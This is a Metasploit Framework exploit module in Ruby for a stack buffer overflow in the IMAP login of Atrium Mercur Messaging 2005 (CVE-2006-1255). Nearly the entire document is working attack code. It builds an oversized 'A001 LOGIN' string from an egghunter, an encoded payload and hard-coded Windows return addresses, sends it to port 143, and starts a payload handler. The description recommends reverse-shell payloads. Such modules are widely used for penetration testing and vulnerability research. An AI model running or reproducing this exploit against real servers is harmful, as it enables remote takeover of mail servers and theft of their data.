Mercur Messaging 2005 IMAP Login Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Atrium Mercur IMAP 5.0 SP3.  
Since the room for shellcode is small, using the reverse ordinal payloads  
yields the best results.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-1255' ],  
[ 'OSVDB', '23950' ],  
[ 'BID', '17138' ],  
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 228,  
'BadChars' => "\x00\x20\x2c\x3a\x40",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",   
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],  
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ],  
],  
'DisclosureDate' => 'Mar 17 2006',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(143) ], self.class )  
end  
  
def exploit  
connect  
sock.get_once  
  
hunter = generate_egghunter()  
egg = hunter[1]  
  
sploit = "A001 LOGIN " + egg + egg + payload.encoded + hunter[0]  
sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV')   
  
print_status("Trying target #{target.name}...")  
sock.put(sploit + "\r\n")  
  
handler  
disconnect  
end  
  
end  
`